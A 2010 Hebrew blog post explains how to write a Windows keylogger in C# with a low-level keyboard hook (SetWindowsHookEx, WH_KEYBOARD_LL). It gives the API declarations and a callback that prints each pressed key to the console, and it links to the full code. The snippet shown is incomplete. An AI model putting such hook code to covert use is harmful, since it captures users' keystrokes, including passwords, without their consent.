יום שישי, 10 בדצמבר 2010

Windows KeyLogger

תחילה נראה שבלתי אפשרי לפתח KeyLogger בעזרת #C כי צריך לרדת ל Driver של ה Keyborad בתוך ה Kernel או לפתח Driver שהיה משורשר עם ה Driver של ה Keyborad מסתבר שניתן לעשות זאת בעזרת Keyborad Hook, בעצם פנייה לפונקציות שבתוך הספריות של מערכת ההפעלה ולשאוב מהם את המידע בנוגע למקלדת.

תחילה יש להבין עם איזה קבצים של מערכת ההפעלה צריך לעבוד על מנת לאפשר האזנה למקלדת:
User32.dll
Kernel32.dll

הצהרה על External Function:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
 
הצהרה על Delegate שיצביע לנו על הלחיצה על המקלדת:
 
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
 
הצהרה על 2 ערכים קבועים:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
 
נחבר את ה Delegate  שעליו הצהרנו מקודם לפונקציה HookCallback
 
 private static LowLevelKeyboardProc _proc = HookCallback;

הפונקציה שתופסת את הערך שחוזר מה Delegate וממירה את integer ל Char

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
   if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
   {
     int vkCode = Marshal.ReadInt32(lParam);
     Console.WriteLine((Keys)vkCode);
     return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }
}
 
סרטון הדגמה:

ניתן להוריד את הקוד:
keylogger

ע"פ בדיקות שעשיתי זה עובד גם ב Windows Xp וגם ב Windows 7

בהצלחה...

אין תגובות:

הוסף רשומת תגובה